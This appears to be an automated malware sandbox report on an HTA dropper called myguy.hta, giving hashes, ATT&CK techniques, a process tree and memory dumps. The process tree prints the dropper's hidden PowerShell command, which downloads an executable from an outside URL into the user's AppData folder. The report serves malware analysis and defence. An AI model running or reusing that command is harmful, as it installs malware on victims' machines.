5fa4cbe0983a59dddd8a58c33a5cebcc0742c24f59c08f1cf78deebca0672697

General

Target

myguy.hta
Size

13KB
MD5

0487382a4daf8eb9660f1c67e30f8b25
SHA1

736752744122a0b5ee4b95ddad634dd225dc0f73
SHA256

ee29b9c01318a1e23836b949942db14d4811246fdae2f41df9f0dcd922c63bc6
SHA512

e1e7d81d54efd526139ea8ac792ed2035c8e70f040319c0b65f723431d31077c7a6927553890c99151f2354f51c4020ed94e0e2e5d56386c2fc4828e95869106
SSDEEP

192:ScIsmNvaHz65bP/U/njs3NH0Z0UvDVE6Az6XVHBycT6iLMUpJ2seCYHlfeb:SPXTmnjs3BU9A27BNLMUTb

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://french-cooking.com/myguy.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	3668	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3668	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
10	4924	Process not Found

Executes dropped EXE 2 IoCs

pid	Process
1612	setup.exe
1464	setup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{A829C20C-8907-4533-A119-04AF03959C27}\EDGEMITMP_6852F.tmp\SETUP.EX_	MicrosoftEdge_X64_133.0.3065.69.exe
File created	C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{A829C20C-8907-4533-A119-04AF03959C27}\EDGEMITMP_6852F.tmp\setup.exe	MicrosoftEdge_X64_133.0.3065.69.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Temp\source1612_76342310\MSEDGE.7z	setup.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	setup.exe
File opened for modification	C:\Windows\SystemTemp\msedge_installer.log	setup.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\throttle_store.dat	setup.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\settings.dat	setup.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\metadata	setup.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\throttle_store.dat	setup.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\settings.dat	setup.exe
File created	C:\Windows\SystemTemp\1ea2b573-9bd5-4492-a452-dcedecc83c34.tmp	setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3696	2968	WerFault.exe	84

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4480	MicrosoftEdgeUpdate.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3668	powershell.exe
3668	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3668	powershell.exe
Token: 33	1612	setup.exe
Token: SeIncBasePriorityPrivilege	1612	setup.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2968 wrote to memory of 3668	2968	mshta.exe	87
PID 2968 wrote to memory of 3668	2968	mshta.exe	87
PID 2968 wrote to memory of 3668	2968	mshta.exe	87
PID 2812 wrote to memory of 1612	2812	MicrosoftEdge_X64_133.0.3065.69.exe	96
PID 2812 wrote to memory of 1612	2812	MicrosoftEdge_X64_133.0.3065.69.exe	96
PID 1612 wrote to memory of 1464	1612	setup.exe	97
PID 1612 wrote to memory of 1464	1612	setup.exe	97

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\myguy.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2968
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.com/myguy.exe', 'C:\Users\Admin\AppData\Roaming\18105.exe');
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3668
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2968 -s 1284
  2⤵
  - Program crash
  PID:3696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2968 -ip 2968
1⤵
PID:1108

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QUMzNkE0ODAtOTFGQS00ODc2LUE5NTItRUJDNkRFNzZEQTJEfSIgdXNlcmlkPSJ7N0JEREQwMUItNEU0Ri00MzBBLTg1OTgtQjQ3QzdENzNGODBDfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7OUQzQkNDMUEtRTk1Mi00MURGLThFNkQtRjk3QjA1MUY5RjdDfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4yMjAwMC40OTMiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIiBpc19pbl9sb2NrZG93bl9tb2RlPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iJnF1b3Q7RSt4YkF6Nlk2c1UxMjg5YlM2cWw0VlJMYmtqZkJVR1RNSnNqckhyNDRpST0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7OEE2OUQzNDUtRDU2NC00NjNjLUFGRjEtQTY5RDlFNTMwRjk2fSIgdmVyc2lvbj0iMTIzLjAuNjMxMi4xMjMiIG5leHR2ZXJzaW9uPSIiIGxhbmc9ImVuIiBicmFuZD0iR0dMUyIgY2xpZW50PSIiIGluc3RhbGxhZ2U9IjUiIGluc3RhbGxkYXRldGltZT0iMTczOTI2OTY5MSIgb29iZV9pbnN0YWxsX3RpbWU9IjEzMzgzNzQxNTU5NTI1MDAwMCI-PGV2ZW50IGV2ZW50dHlwZT0iMzEiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjIxNzk4NjIiIHN5c3RlbV91cHRpbWVfdGlja3M9IjQ5MzQ1Mjk2ODciLz48L2FwcD48L3JlcXVlc3Q-
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:4480

C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{A829C20C-8907-4533-A119-04AF03959C27}\MicrosoftEdge_X64_133.0.3065.69.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{A829C20C-8907-4533-A119-04AF03959C27}\MicrosoftEdge_X64_133.0.3065.69.exe" --msedge --verbose-logging --do-not-launch-msedge --system-level --channel=stable
1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2812
- C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{A829C20C-8907-4533-A119-04AF03959C27}\EDGEMITMP_6852F.tmp\setup.exe
  "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{A829C20C-8907-4533-A119-04AF03959C27}\EDGEMITMP_6852F.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{A829C20C-8907-4533-A119-04AF03959C27}\MicrosoftEdge_X64_133.0.3065.69.exe" --msedge --verbose-logging --do-not-launch-msedge --system-level --channel=stable
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1612
- - C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{A829C20C-8907-4533-A119-04AF03959C27}\EDGEMITMP_6852F.tmp\setup.exe
    "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{A829C20C-8907-4533-A119-04AF03959C27}\EDGEMITMP_6852F.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{A829C20C-8907-4533-A119-04AF03959C27}\EDGEMITMP_6852F.tmp\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff6f20f6a68,0x7ff6f20f6a74,0x7ff6f20f6a80
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:1464

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{A829C20C-8907-4533-A119-04AF03959C27}\EDGEMITMP_6852F.tmp\setup.exe

Filesize
6.8MB

MD5
bdb1aecedc15fc82a63083452dad45c2

SHA1
a074fcd78665ff90ee3e50ffcccad5f6c3e7ddcb

SHA256
4ea0907c3fc2c2f6a4259002312671c82e008846d49957bb3b9915612e35b99f

SHA512
50909640c2957fc35dd5bcac3b51797aa5daa2fb95364e69df95d3577482e13f0c36a70ae098959cb9c2aaeb4cfe43025c1d8d55b5f8858b474bcb702609749d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d40lr0qb.gix.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3668-16-0x0000000005730000-0x0000000005A87000-memory.dmp

Filesize
3.3MB

Download
memory/3668-15-0x0000000070BB0000-0x0000000071361000-memory.dmp

Filesize
7.7MB

Download
memory/3668-4-0x0000000004DA0000-0x0000000004DC2000-memory.dmp

Filesize
136KB

Download
memory/3668-6-0x00000000055E0000-0x0000000005646000-memory.dmp

Filesize
408KB

Download
memory/3668-5-0x0000000005570000-0x00000000055D6000-memory.dmp

Filesize
408KB

Download
memory/3668-2-0x0000000004ED0000-0x00000000054FA000-memory.dmp

Filesize
6.2MB

Download
memory/3668-0-0x0000000070BBE000-0x0000000070BBF000-memory.dmp

Filesize
4KB

Download
memory/3668-3-0x0000000070BB0000-0x0000000071361000-memory.dmp

Filesize
7.7MB

Download
memory/3668-17-0x0000000005B40000-0x0000000005B5E000-memory.dmp

Filesize
120KB

Download
memory/3668-18-0x0000000005BF0000-0x0000000005C3C000-memory.dmp

Filesize
304KB

Download
memory/3668-19-0x00000000071E0000-0x000000000785A000-memory.dmp

Filesize
6.5MB

Download
memory/3668-20-0x0000000006060000-0x000000000607A000-memory.dmp

Filesize
104KB

Download
memory/3668-23-0x0000000070BB0000-0x0000000071361000-memory.dmp

Filesize
7.7MB

Download
memory/3668-1-0x00000000026A0000-0x00000000026D6000-memory.dmp

Filesize
216KB

Download

Analysis

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